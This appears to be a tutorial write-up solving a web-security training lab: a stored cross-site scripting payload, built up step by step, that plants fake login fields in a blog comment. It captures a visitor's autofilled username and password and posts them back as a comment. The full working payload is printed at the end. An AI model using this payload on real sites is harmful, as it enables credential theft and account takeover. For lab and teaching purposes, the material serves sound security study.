BOOK THIS SPACE FOR AD
ARTICLE ADLab Description:
This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.
Note
This lab builds upon the concepts explored in my previous write-up, ‘Exploiting Cross-Site Scripting to Steal Cookies.’ In that scenario, we developed a JavaScript payload designed to automatically submit the victim’s session cookie as a comment.
<!-- Previous lab's payload --><script>
window.addEventListener('DOMContentLoaded', function() {
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8); // replace number with correct postId
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>
For a complete breakdown of this code and how we came to craft it, please visit HERE.
In this lab we will be modifying and adding on to this code to capture a victim’s username and password. Sounds fun, let’s get started!
NOTES:
Keep in mind, this lab only works (in the wild) if the user’s browser is set to auto-fill certain things, like usernames and passwords, to save time when the page loads.Access the lab. We find ourselves back on the target blog page. Navigate your way to your favorite blog and scroll down to view a comment form.
Based on previous labs, we know this comment box is very susceptible to stored cross-site scripting (XSS) attacks and will pretty much accept anything, including angle brackets (<>). Let’s start off by trying to inject our own input fields.
In the comment box insert the following basic HTML input elements. In the password element we will add an event handler, ‘onchange’, that will trigger our new function. I called our new function, ‘dothis()’, but can be named whatever you like.
<!-- Creating 2 user input fields --><input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
Click ‘Post Comment’ then ‘Back to Blog’ on the next page. Scroll down to view your comment.
It worked! Now we need to incorporate it into our payload from the last lab.
In your favorite code editor, add the two <input> elements above our payload script.
I’ll comment out whatever part of the code we are not working on at the moment. At the end I will show the intact and completed code.<!-- Added elements --><input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
<!--
<script>
window.addEventListener('DOMContentLoaded', function() {
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>
-->
Remove “window.addEventListener(‘DOMContentLoaded’,”, it will not be needed this time.
We do need, though, to define our new function ‘dothis()’ within the <script>.
<!--<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
-->
<script>
function dothis() {
/*
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
};
</script>
Now, within the <script>, we need to declare our new variables, username and password, the same way we declared ‘token’.
<!--<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
-->
<script>
/*
function dothis() {
*/
var username = document.getElementsByName('username')[0].value
var password = document.getElementsByName('password')[0].value
/*
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
};
</script>
Finally, in our original code we had the victim post ‘document.cookie’ in order to view their session cookie. This time though, we need their username and password.
In a previous write-up, ‘Reflected XSS in Canonical Link Tag’, we learned all about canonical links. A key take-away from that lab is to remember to use back-ticks (`), not single quotes (‘). I made that mistake trying to complete this lab.
<!--<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
-->
<script>
/*
function dothis() {
var username = document.getElementsByName('username')[0].value
var password = document.getElementsByName('password')[0].value
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8);
*/
data.append('comment', `${username}:${password}`);
/*
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
});
</script>
That should be everything we need for our completed payload. Here it is all together without anything commented out:
<!-- Completed payload --><input type="text" name="username">
<input type="password" name="password" onchange="dothis()">
<script>
function dothis() {
var username = document.getElementsByName('username')[0].value
var password = document.getElementsByName('password')[0].value
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8); // Chenge '8' to correct postId
data.append('comment', `${username}:${password}`);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
};
</script>
The only thing that needs to be done is changing the ‘8’ in ‘data.append(‘postId’, 8);’ to match the ‘postId’ of the blog you are commenting on. You can easily find this at the end of the blog’s URL.
With our completed payload, make your way back to a comment form on a new blog. Paste your completed payload in the comment box and fill out the remaining required fields.
Click ‘Post Comment’.
After you post the comment, the lab will simulate a victim visiting your comment and will post their ‘username:password’.
On the ‘Thank you for your comment page’, click ‘Back to Blog’ to view the victim’s information. You can see it posted directly below your latest comment.
It worked! We have their username and password. Now we just need to log in to their account.
Scroll back up to the top of the page and click on ‘My account’.
Using the stolen credentials, log into the victim’s account.
Success! We did it!
Congratulations on solving another one! Keep up the amazing work!
See you next time!